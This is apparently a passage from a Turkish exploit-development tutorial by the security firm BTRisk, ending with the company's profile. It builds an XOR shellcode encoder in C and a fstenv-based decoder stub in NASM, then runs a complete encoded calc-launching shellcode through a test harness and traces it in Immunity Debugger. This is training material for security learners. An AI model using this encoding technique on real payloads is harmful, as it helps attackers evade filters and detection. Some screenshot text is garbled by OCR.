14. "xac x84 xc0 x74 x07 xc1 xcf x0f"
15. x01\xc7\xeb\xf4\x3b\x7c\x24\x04
16. "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"
17. "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"
18. "\x8b\x04\x8b\x01\xe8\xc3";
19. int main(int argc, char **argv)
20. {
21.
        int i, j=0;
22.
        int satirBoyu=8;
23.
24.
        unsigned char key = 0xb6;
25.
        unsigned char xor_sonuc;
26.
27.
        printf("Byte sayisi: %i\n", sizeof(code)-1);
28.
        printf("XOR encode edilmis shellcode:\n");
29.
30.
```

```
31.
        for (i = 0; i<(sizeof(code)-1); i++)</pre>
32.
            if (j == 0) { printf("\""); }
33.
            xor_sonuc = code[i] ^ key;
34.
35.
            printf("\\x%02x", xor_sonuc);
36.
            j++;
            if (j == satirBoyu) { printf("\"\n"); j = 0; }
37.
38.
        }
        if (j != 0) { printf("\"\n"); }
39.
40.
        getchar();
41.}
```

Uygulamamızı çalıştırdığımızda encode edilmiş olan shellcode'umuza ulaşacağız.

ShellcodeEncode (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop FILE EDIT VEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HEP Image:	प् Quick Launch (Cbl+Q)	Р _ б ^а × Fatih Emiral +
Memory1 Address: Unavailable when debuggee is running. Image: CLESGS/shelkodeEncodeLoebug/ShelkodeEncode.exe Image: CLESGS/shelkodeEncodeLoebug/ShelkodeEncode.exe Image: CLESGS/shelkodeEncodeLoebug/ShelkodeEncode.exe Image: CLESGS/shelkodeEncodeLoebug/ShelkodeEncode.exe Image: CLESGS/shelkodeEncode/ShelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodeEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe Image: CLESGS/shelkodEncode.exe <	•] 집 Columns:	Solution Explorer
"\x60\x8b\x76\x6 "\x5e\x8b\x76\x6 "\x5e\x8b\x76\x6 "\x5e\x8b\x7 "\x6c\x8b\x7 "\x6c\x8b\x7 "\x6c\x63\x8b\x7 "\x6c\x63\x8b\x7 "\x6c\x63\x8b\x7 "\x6c\x63\x8b\x7 "\x6c\x65\x7 "\x6c\x7 "\x6c\x7 "\x6c\x7 "\x7 "\x7 "\x7 "\x7 "\x7 "\x7 "\x7 "		
Registers • 4 × Watch 1		- # ×
No data available		Type *
Ready	Ln 24 Col 29 C	h 26 INS

Gördüğünüz gibi encode edilmiş shellcode'umuzda null byte bulunmuyor. Bu arada shellcode'umuzun uzunluğunu not alalım, decoder kodu içinde ihtiyacımız olacak.

Şimdi asıl önemli olan decoder kodunun geliştirilmesine geliyoruz.

```
    [BITS 32]
    fldpi
    fstenv [esp-0xc]
    pop ebx
    xor ecx,ecx
    mov cl, 142 ;shellcodumuzdaki byte sayısı
    mov al, 0xb6 ;Anahtar değerimiz
    decode:
    xor [ebx+0x14],al ;decoder kodumuzun uzunluğu 20 byte, buradan hemen sonra encoded kodu
muz başlıyor
    inc ebx
```

```
11. loop decode
```

Decoder kodumuzla ilgili en büyük problemimiz shellcode'umuzun hafıza alanının hangi adresinden başladığıdır. Çünkü encode edilmiş shellcode'umuzu orijinal haline döndürebilmek için XOR'ladığımız değerin aynısıyla tekrar XOR'lamamız gerekecektir. Bunun için de anahtar değerimizle XOR'lanacak hedef byte'ların adreslerine ihtiyacımız olacaktır. Bu problem aslında decode edilecek kod decoder'a genellikle yapışık biçimde hafızaya yazılacağından aslında decoder kodumuzun adresinin bulunması anlamına da gelmektedir.

Get Program Counter denen hafızada çalışan uygulamanın kendi adresini bulması için kullanılan pek çok metod bulunmaktadır. Biz bunlardan en yaygın olanlarından birini kullanacağız.

"fstenv" instruction'ı FPU (yani Floating Point Unit) çipinin çevresel değişkenlerini argüman olarak verilen hafıza alanına yazar. Toplam 28 byte uzunluğundaki bu verilerin HEX c offset'inde en son çalıştırılan Floating Point instruction'ın adresi yer alır. Decoder uygulamamız bu değerin tam da ESP register'ı ile işaret edilen yere yazılması için bu offset değerini kullanmıştır. Böylece "fstenv" instruction'ından hemen sonra gelen "pop ebx" instruction'ı decoder kodumuzun ilk instruction'ının adresini barındıracaktır.

Bu satırdan sonra ECX register'ını counter olarak kullanmak üzere sıfırlıyoruz ve hemen sonra shellcode'umuzun byte sayısını CL register'ına atıyoruz.

Hatırlayacağınız gibi bu yöntemi programatik yöntemlerle null byte üretmeden shellcode yazmak için de kullanmıştık. Decoder'ın kendisi null byte'lardan bizi korumak için yazıldığına göre kendisi de null byte içeremez. Bu nedenle ECX register'ına küçük bir rakamı atayarak null byte içeren bir opcode üretmek yerine önce ECX register'ını sıfırlıyoruz, daha sonra da 1 byte'lık bir register olan CL register'ına küçük değerimizi atıyoruz.

Encode edilmiş shellcode'umuzu encode ederken kullandığımız byte değerini AL register'ına atıyoruz. Burada kod içinde encode ederken kullandığımız değeri güncellemeyi unutmayalım. Bunu yaparken yine null byte üretmekten kaçınmak için EAX register'ı yerine AL register'ının kullanımına dikkat edin.

Decode döngümüz son derece basit. Decoder kodumuzun başlangıç adresini EBX register'ına atamıştık. Decoder kodumuz derlendiğinde oluşacak opcode'ların uzunluğu toplam 20 byte olacak. Tabi bunu eğer aklınızdan opcode'lara dönüştürme yeteneğiniz yoksa assembler ile denemeden bulmak mümkün değil. Döngümüz her seferinde encode edilmiş shellcode'umuzun bir byte'ını anahtar değerimizle XOR'layacak ver her bir byte'ı orjinal haline çevirecek.

Loop instruction'ı her seferinde ECX register'ını bir azaltacak ve ECX değeri O'a ulaştığında kod akışının bir sonraki byte'tan itibaren devam etmesine izin verecek.

Aşağıda göreceğiniz gibi decoder kodundan hemen sonra encode edilmiş shellcode'umuzu yerleştireceğimizden döngümüz tüm shellcode'u XOR'ladıktan sonra orijinal shellcode çalışmaya başlayacak.

Şimdi decoder assembly kodumuzu NASM ile derleyelim, daha sonra da derlenmiş kodu Hexyaz scriptimiz ile onaltılık düzene çevirelim.



Test uygulamamıza hem decoder'ımızı hem de hemen sonra gelecek biçimde encode edilmiş shellcode'umuzu yapıştırarak encode edilmiş shellcode'umuzu çalıştıralım.

```
1. unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"
2.
    "\x31\xc9\xb1\x8e\xb0\xb6\x30\x43"
3. "\x14\x43\xe2\xfa"
4. "\x87\x7f\xd2\x3d\x83\x86\xb6\xb6"
5. "\xb6\x3d\xc0\xba\x3d\xc0\xaa\x3d"
6. "\xe8\xbe\x3d\xc8\x96\x3d\x80\x8e"

    "\xf9\xae\xc3\x45\xe5\xde\x55\xa8"
    "\xa4\xa6\x5e\x97\xb6\xb6\xb6\x35"
    "\x72\xb2\xed\xdc\xb6\xde\xd5\xd7"

10. \frac{xd3}{x3f}x57\xdc}xb6\xe7\x49
11. "\x66\xe5\xde\x4e\x2f\x89\x8a\x5e"
12. "\xb2\xb6\xb6\xdc\xb6\x49\x66"
13. \frac{x3d}{xda}^{2}\xbe}{x3d}^{r3}
14. "\xe2\xb3\xce\xb7\x5c\x3d\xfc\xae"
15. x3d xec x96 xb7 x5d xff x3d x82
16. "\x3d\xb7\x58\x87\x49\x87\x76\x4a"
17. "\x1a\x32\x76\xc2\xb1\x77\x79\xb9"
18. "\xb7\x71\x5d\x42\x8d\xca\x92\xb2"
19. "\xc3\x55\x3d\xec\x92\xb7\x5d\xd0"
20. "\x3d\xba\xfd\x3d\xec\xaa\xb7\x5d"
21. "\x3d\xb2\x3d\xb7\x5e\x75"
22.;
23. int main(int argc, char **argv)
24. {
25.
        int(*f)();
        f = (int(*)()) shellcode;
26.
27.
        (int)(*f)();
28. }
```

										X -
test - Microsoft Visual Studio Express 2013 for Windows Desktop					Q	7	Quick	Launch	(Ctrl+Q)	P _ & ×
FILE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP										Fatih Emiral 🝷
💿 - O 📅 🖕 💾 🖓 - 🥂 - 🕨 Local Windows Debugger - Release - Win32 - 👂 _ 🔚 🔚 🗐 🗐 🦉	1 1 1 2	-								
Testo B X						•	Solutio	n Evolor	or	• 1 ×
(Global Scope)						•	0.0			
unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"				x	• • ×	÷	Saarch	Colution	Evolution	
"\x31\xc9\xb1\x8e\xb0\xb6\x_J8\x43"						1	Search	Solution	Explorer	(Cui+ş) 2.4
"\x14\x43\xe2\xfa"	1 40 . CU	rrent Do	cumen		· ·	-11	ig_ S	lution	test' (1 pr	oject)
"\x87\x7f\xd2\x3d\x83\x86\xb6"					Fyternal Dependencies					
"\xb6\x3d\xc9\xba\x3d\xc9\xba						ш		He He	ader Files	
	Calculator	1000		100			10		×	1
\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab	Carculator							-		
"\x72\xb2\xed\xdC\xb6\xde\xd5\xd7"	view Edit	leip								
"\xda\xd5\x3f\x57\xdc\xb6\xe7\x49"										
"\x66\xe5\xde\x4e\x2f\x89\x8a\x5e"									0	
"\xb2\xb6\xb6\xb6\xdc\x49\x66"			Marcolul 22							
"\x3d\xda\x92\xbe\x3d\xf3\x8a\x3d"	0000 00 63	80 0	000	0000	0000	0000 0000 0000				
"\xe2\xb3\xce\xb7\x5c\x3d\xfc\xae"	0000 00	0000 0000 0000 0000 0000 0000						- 1 -		
"\x3d\xec\x96\xb7\x5d\xff\x3d\x82"	31				15				0	
"\x3d\xb7\x58\x87\x49\x87\x76\x4a"	Hex Mod A			A	MC	MR	MS	M+	M-	ile *
"\xIa\x32\x/6\xc2\xb1\x//\x/9\xb9"	Dec			-		_		H		
"\xp\\x71\x50\x42\x80\x64\x92\x92	Ood	(В	-	CE	C	±	1	A
\x2\x3x3u\xec\x32\x0/x3u\x6t	🗇 Bin	RoL	RoR	С	7	8	9	1	96	shellcode
"\x3d\xb2\x3d\xb7\x5e\x75"						-	-			c:\esg\kaynak\test.c
	Qword Dword	Or	Xor	D	4	5	6	*	1/x	shellcode
Eint main(int argc, char **argv)	Word	Lsh	Rsh	E	1	2	3	-		False
	OByte	Not	and	r	0				=	False
$\operatorname{Int}(\tau)()$			- ma	<u> </u>	0	·	<u> </u>		<u> </u>	False
(int)(*)()	_	_	_	_	_	1	-	_	_	Estra
							(++			
100 % *										
Error List Output										
Ready										Ch 27 INS

Gördüğünüz gibi shellcode'umuz orjinal halindeki sonucu tekrar üretti.

Decoder kodumuzun tam olarak nasıl çalıştığını görmek istersek Immunity Debugger'da binary kodumuzu debug edebiliriz.

Kodumuzu debugger'a yükledikten sonra decoder kodumuzun hafızadaki yerini bulmak ve bu alan için bir hardware breakpoint koymak için şu yolu izleyebiliriz:

- Kullanıcı koduna ulaşmak için F9 tuşuna basalım.
- Memory dump alanında sağ klikleyelim.
- Search for Binary string seçeneğini seçelim.
- HEX kutusuna test uygulamamızda decoder kodumuzun ilk 3 byte'ını yazalım: D9 EB 9B
- Bulduğumuz alanın üzerine gelerek sağ klikleyip Breakpoint Hardware on execution seçeneğini seçelim
- Daha sonra tekrar F9 tuşuna basarak breakpoint noktasına kadar ilerleyelim.



Gördüğünüz gibi decoder kodumuzun başına geldik.

Şimdi F7 tuşuyla adım adım decoder kodumuzu işletelim.

FSTENV instruction'ı çalıştığında ESP ile işaret edilen alanın değerindeki değişime dikkat edin. Gördüğünüz gibi bu değer FLDPI instruction'ının yani decoder'ımızın ilk instruction'ının adresi haline geldi.



I by Units View Debug Plugins Immulib Options Window Help Jobs -@ x I window Help Jobs -@ x
Image: Instant Image: Imag
00F83018 D9EB FLDPI Registers (FPU) <
OOF8301A 9B WAIT OOF8301B D97424 FSTEWV (28-BYTE) PTR SS:[ESP-C] EAX 00F83018 OFFSET test.shellcode ECX 004295B8 ECX 004295B8 ECX 004295B8 OOF83012 31C9 XOR ECX,ECX EDX 0000000 00F83022 B1 8E MOV CL,8E EDX 0000000 00F83024 B0 B6 MOV AL,0B6 EDP 0015FCAC 00F83026 3043 14 XOR BYTE PTR DS:[EBX+14],AL ESI 00000001 00F83029 43 INC EBX EDI 0000000 00F83026 262 FA LOOPD SHORT test.00F83026 EDI 00000001 00F83026 80 F2 FA LOOPD SHORT test.00F83026 EDI 00000000
ODF8301E D97424 F3TENV (28-BYTE) PTR SS:[ESP-C] ECX 00429588 D0F8301F 5B POP EEX test.shellcod EDX 0000000 00F83020 31C9 XOR ECX,ECX EDX 0000000 00F83022 B1 8E MOV CL,8E EDX 0000000 00F83024 B0 B6 MOV AL,0B6 EBP 0015FCRC 00F83029 43 INC EBX ESI 00000001 00F83029 43 INC EBX EDI 0000000 00F83026 2FA LOOPD SHORT test.00F83026 EDI 00000000 00F83026 87F D2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F test.00F8301F
DOF8301F 5B POP EBX test.shellcod EDX 0000000 00F83020 31C9 XOR ECX.ECX EDX 0000000 00F83022 B1 8E MOV CL,8E EDX 00157CC 00F83024 B0 66 MOV AL,0B6 EDP 00157CC 00F83026 3043 14 XOR BYTE PTR DS:[EBX+14],AL ESI 00000001 00F83029 43 INC EBX EDI 0000000 00F83026 C877 FD2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F
ODF83020 31C9 XOR ECX,ECX EEX 0000000 00F83020 B1 8E MOV CL,8E ESP 0015FCAC 00F83024 B0 B6 MOV AL,0B6 EBP 0015FCEC 00F83026 3043 14 XOR BYTE PTR DS:[EBX+14],AL ESI 00000001 00F83029 43 INC EBX EDI 00000000 00F83026 FA LOOPD SHORT test.00F83026 EDI 00000000 00F8302C 877F D2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F test.00F8301F
ODF83022 B1 BE MOV CL,8E ESP 0015FCAC 00F83024 B0 B6 MOV AL,0B6 EBP 0015FCAC 00F83026 3043 14 XOR BYTE PTR DS:[EBX+14],AL ESI 00000001 00F83029 43 INC EBX EDI 00000000 00F83026 2FA LOOPD SHORT test.00F83026 EDI 00000000 00F8302C 877 F D2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F test.00F8301F
OUF83024 B0 B6 MOV AL,086 EBP 0015FCEC 00F83024 B04314 XOR BYTE PTR DS:[EBX+14],AL ESI 0000001 00F83029 43 INC EBX EDI 00000001 00F83024 EDI 00000000 EDI 00000000 00F83026 877 FD2 XCHG DWORD PTR DS:[EDI-22],EDI EIP 00F8301F test.00F8301F
OUF83026 3043 14 XOR BYTE PTR DS:[EBX+14],AL ESI 00000001 00F83029 43 INC EBX EDI 00000000 00F8302F FA LOOPD SHORT test.00F83026 EDI 000F8301F 00F8302C 877F D2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F
ODF83029 43 INC EBX EDI 0000000 D0F8302F FA LOOPD SHORT test.00F83026 EIP 00F8301F test.00F8301F D0F8302C 877F D2 XCHG DWORD PTR DS:[EDI-2E],EDI EIP 00F8301F test.00F8301F
DOF8302C 877F D2 XCHG DWORD PTR DS [EDI 22],EDI EIF 00F8301F test.00F8301F
UUEBJUZC B//F DZ XCHG DWORD PTR DS:[EDI-ZE],EDI
ADER2AGE OD REAL CAR FAX BEREGES
OURSIGNA DE DE MAR DEDEOGOS CO ES OUZB 32DIT O (FFFFFFFF)
00F83054 60 5D P1 CS 0023 32D1C 0(FFFFFFFF)
OFRAGED BE BOCSAGD MOVERS BILL AND AND AND AND AND AND AND AND AND AND
00F83042 808E F9AEC345 E'OR BYTE PTE DS:[ES:145C3AEF9].0E5
ODF83/49 DE55 A8 FTCOM WORD PTR SS: [EEP-58]
00F8304C A4 MOVS BYTE PTR ES: [EDI], BYTE PTR DS: [ESI]
Address Value Comment 0015FCAC 00F83018 [0ø. OFFSET test.shellcode
00F83018 D99BEBD9 0015FCB0 000000 3 #
00F8301C 5BF42474 0015FCB4 00000000
00f83020 8EB1C931 0015FCB8 FFFF0000ÿÿ
0015FCBC 004295B8 ,•B.
0015FCC0 315A0CBA °.21
0015FCC4 00000000
0015FCC8 00000000
00F83034 BAC03DB6 0015FCCC 7EFDE000 .ai~
00F83038 3DAAC03D 0015FCDD 00000000
0015FCD4 0015FCC4 Au ¹ .
Paused

Bir sonraki instruction ile bu değeri EBX register'ına atıyoruz.

XOR instruction'ına kadar devam edelim. XOR instruction'ı ilk çalıştığında LOOP instruction'ından bir sonraki instruction'ın değiştiğini göreceğiz.

Birkac	defa	daha	döngüvü	döndürelim	ve kodun	decode	edilisini izlevelim
ыкау	uera	uana	uonguyu	uonuureinn	ve kouun	uecoue	eunişini izleyenin.

🖧 Immunity Debugger - test.exe - [CPU - main thread, module test]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 8 ×
🗅 🕉 🎟 🔣 🕊 🕨 🕨 🖬 🙀 🦊 🤰 📫 lem twh cPk bzrs ? Code auditor and software assessment specia	list needed
00F83018 D9EB FLDPI	<pre>^ Registers (FPU) <</pre>
00F8301A 9B WAIT	EAX 00F830B6 test.00F830B6
00F8301B D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]	ECX 0000086
OOF8301F 5B POP EBX	EDX 00000000
00F83020 31C9 XOR ECX, ECX	EBX 00F83020 test.00F83020
OUF93022 BI SE MOV CL, SE	ESP 0015F B0
	EBP 0015FCEC
ODESCOOL AS THE AND BILE PIK DS. [EDATI4], AD	ESI 00000001
TOFRAUDA 42 FA LOOPT test 00F83026	ED1 0000000
00F8302C 31C9 XOR ECX.ECX	EIP 00F83026 test.00F83026
00F8302E 64:8B35 300000B(MOV EST. DWORD PTB FS: [B6000030]	C 0 FS 002P 22bit 0(FFFFFFFFFF)
00F83035 3D COBA3DC0 CMF EAX, C03DBAC0	P = 0 CS 0023 32bit 0(FFFFFFFF)
00F8303A AA STOS BYTE PTR ES: [EDI]	Δ 1 SS 002B 32bit 0 (FFFFFFFF)
00F8303B 3D E8BE3DC8 CMP EAX, C83DBEE8	Z = 0 DS 002B 32bit 0(FFFFFFFF)
00F83040 96 XCHG EAX,ESI	S 0 FS 0053 32bit 7EFDD000(FFF)
00F83041 3D 808EF9AE CMP EAX, AEF98E80	T 0 GS 002B 32bit 0(FFFFFFFF)
00F83046 C3 RETN	- D 0
Address Value Comment _ 0015FCB0 00000023 #	· · · · · · · · · · · · · · · · · · ·
00F83018 D99BEBD9 0015FCB4 00000000	
00F8301C 5BF42474 0015FCB8 FFFF0000ÿÿ	
00F83020 8EB1C931 0015FCBC 004295B8 •B.	
00F83024 4330B6B0 0015FCC0 315A0CBA °.21	
00F83028 FAE24314 0015FCC4 00000000	
00F8302C 8B64C931 00FFCCC 30000000	
00F83030 00003035 00F5FCCC /FFDE000 .41~	
00155CD0 0000000 00155CD0 0000000 00155CD0 0000000 00155CD0 00000000 00155CD0 0000000000000000000000000000000000	
00157CD4 00157CD4 00157CD4 00157CD4 00157CD4 00157CD4	
	Pointor to novt SEU record
	-
	Paused

Döngümüz ECX register'ının değeri en son LOOP instruction'l ile sıfırlanıncaya kadar devam edecek. Son döngüye kadar uygulamanın devam etmesi için LOOP instruction'ına bir Conditional Breakpoint koyalım. Bunun için LOOP instruction'l üzerinde sağ klikleyerek Breakpoint – Conditional seçeneğini seçelim ve koşul olarak ECX == 1 yazalım. Daha sonra F9 ile uygulamanın çalışmasına izin verelim.

	Children Annual Strends	
A Immunity Debugger - test.exe - [CPU - main three	ad, module test]	
C File View Debug Plugins ImmLib Opt	ons Window Help Jobs	_ 8 ×
>>>> □	• lemtwhcPkbzrs? Immunity: Consulting S	Services Manager
00F83018 D9EB	FLDPI	<pre>^ Registers (FPU) <</pre>
00F8301A 9B	WAIT	EAX 00F830B6 test.00F830B6
00F8301B D97424 F4	FSTENV (28-BYTE) PTR SS:[ESP-C]	ECX 0000085
00F8301F 5B	POP EBX	EDX 0000000
00F83020 31C9	XOR ECX, ECX	st.00F83022
00F83022 B1 8E	MOV CL, 8E	nange condition at testuur8302A
00F83024 B0 B6	MOV AL, 0B6	ECX==1
00F83026 3043 14	XOR BYTE PTR DS:[EBX+14],AL	OK Cancel
00183029 43	INC EBX	
OUFCOUZA EZ FA	NOR FOX FOX	EIP 00F8302A test.00F8302A
00E0302C 51C9	(MOV FET DWORD DTP FE [30]	
00F83035 8BC0	MOV EAX EAX	C U ES UU2B 32D1C U(FFFFFFFF)
00F83037 BA 3DC0AA3D	MOV EDX. 3DAACO3D	P = CS = 002S = 32bit = 0 (FFFFFFFF)
00F8303C E8 BE3DC896	CALL 97C06DFF	X = 0 $SS = 0.02B = 32bit = 0 (FFFFFFFF)$
00F83041 3D 808EF9AE	CMP EAX, AEF98E80	S 0 FS 0053 32bit 7EFDD000(FFF)
00F83046 C3		T 0 GS 002B 32bit 0(FFFFFFFF)
00F83047 45	INC EBP	D 0
Address Value Comment	^ 0015FCB0 0000	00023 #
00F83018 D99BEBD9	0015FCB4 0000	00000
00F8301C 5BF42474	0015FCB8 FFFF	F0000ÿÿ
00F83020 8EB1C931	0015FCBC 0042	295B8 ,•B.
00F83024 4330B6B0	0015FCC0 315F	AOCBA °.Z1
00F83028 FAE24314	0015FCC4 0000	00000
00F8302C 8B64C931	0015FCC8 0000	00000
00F83030 00003035	0015FCCC 7EFI	DE000 .a1~
00F83034 BAC08B00	0015FCD0 0000	
00F83038 3DAAC03D	0015FCD4 0015	
UUF83U3C C83DBEE8		SED29 (1) Dointor to port SEN record
		Paused

Ekranın sağ altında göreceğiniz Running ifadesi döngünün çalışmaya devam ettiğini gösteriyor.

Uygulamamız belirttiğimiz koşul gerçekleştiğinden durdu. Bu noktadan itibaren decode edilmiş shellcode'umuz çalışmaya başlayabilir. F9 tuşuna basarak uygulamanın devam etmesine izin verdiğimizde Calculator uygulamamızın çalıştığına şahit olabiliriz.

	of the state of the	- Statistics									
Immunity Debugger - test.exe - [CPU - main thread, module ntdll]							P			-	
C File View Debug Plugins ImmLib Options Window Help Jobs											_ 8 ×
🔁 🕉 🗉 🔣 📢 🗙 🕨 🖬 🙀 📲 🎽 📲 🚽 📲 lemtwhcPkbzr	s ? Immunity: C	onsulting Services Man	ager								
7781FCC2 83C4 04 ADD ESP, 4			-	Red	rister	s (FP	U)				<
7781FCC5 C2 0800 RETN 8				EAX	0000	0000					
7781FCC8 B8 2A000000 MOV EAX, 2A				ECX	0000	0000					
7781FCCD B9 03000000 MOV ECX, 3 EDX 0000000											
7781FCD2 8D5424 04 LEA EDX, DWORD PTR SS: [ESP+4] EBX 00000000											
7781FCD6 64:FF15 C000000(CALL DWORD PTR FS:[C0]				ESE	001	FC64					
7781FCDD 83C4 04 ADD ESP,4				EBE	001	FC80					
7781FCE0 C2 0400 RETN 4				ESI	7790	2100	ntdl		7902	2100	
7781FCE3 90 NOP		ha		EDI	7790	2000	ntdl		7902	2000	
7781FCE4 B8 2B000000 MOV EAX, 2B			Calculator					N.	-	x	
7781FCE9 B9 1A000000 MOV ECX, 1A		1	View Edit	leln			_	-			
7781FCEE 8D5424 04 LEA EDX, DWORD PTR SS: [ESP	+4]			Contra 1)
7781FCF2 64:FF15 C000000(CALL DWORD PTR FS:[C0]										~)
7781FCF9 83C4 04 ADD ESP,4										0)
7781FCFC C2 2400 RETN 24			0000 00	00 01	999 99	-	000	0 00	00	0000)
7781FCFF 90 NOP			63			47				32	FF)
7781FD00 B8 2C000000 MOV EAX, 2C			31	00 00	100 00	15	000	0 00	00	0000)
7781EDU5 33C9 XOR ECX, ECX					[m.][-	1.00	1	
Address Value Comment	^ 0015FC64	7781FCC2	() Hex		Mod	AMC	MR	MS	M+	M-	*
00F83018 D99BEBD9	0015FC68	7784D5AC	Oot	(3	B ←	CE	C	=	V	11.ZwTermina
00F8301C 5BF42474	0015FC6C	FFFFFFFF	Bin	0.01	0-0	C 7			1	a l	
00F83020 8EB1C931	0015FC70	00000000	0.00	ROL	KOK		8	9	1	70	
00F83024 4330B6B0	0015FC74	3C3F99F8	Qword	Or	Xor	D 4	5	6	*	1/x	
00F83028 FAE24314	0015FC78	75874B95	O Dword	Ich	Reb	r 1	2	2			
00F8302C 8B64C931	OUISEC/C	/586FF98	O Word	650	Kan	C I	4	2	_	=	
00F83030 00003035	0015FC80	75707000	O Byte	Not	And	F	0		+		stdll ptlEv
00F83034 0C768B00	0015EC84	157679ED		1							ILGII.RUIEX.
UUF83U38 8BIC/68B	0015EC86	77585380	° óòu								
00F8303C /E8B085E	- 0015FC8C	FEFFEFFF	0000								-
											•
[17:08:57] Process terminated, exit code 0											Terminated

X.BTRİSK Hakkında

2009 yılında kurulmuş ve sadece bilgi güvenliği hizmetlerine odaklanmış olan BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri bilgi güvenliği problemine yönetim kurulu seviyesinden sistem odası uygulamasına kadar uzanan alanda çözüm üretmektedir.

BTRisk bilgi güvenliği problemini görünür hale getirerek algılanmasını, anlaşılmasını ve dolayısıyla ele alınmasını mümkün hale getirmektedir.

BTRisk bilgi güvenliği problemine karşı geliştirdiği yaklaşımları gerçek hayat koşullarında test etmiş ve uygulanabilir hale getirmiştir.

Bilgi güvenliği ve BT yönetişim hizmet alanlarımız aşağıdaki gibidir:

- Pentest Hizmetleri
- Bilgi Güvenliği ve BT Yönetişim Hizmetleri
- Bilgi Güvenliği Operasyon Hizmetleri
- Bilgi Güvenliği Eğitimleri

Özgün ürünlerimiz aşağıdaki gibidir:

- BTRWATCH Bilgi Güvenliği Risk Analizi ve Denetim Uygulaması
- BTRMON 5651 Uyumlu Wi-Fi ve Kablolu Ağ Hotspot Çözümü
- BTROTP Tek Kullanımlık Parola Çözümü

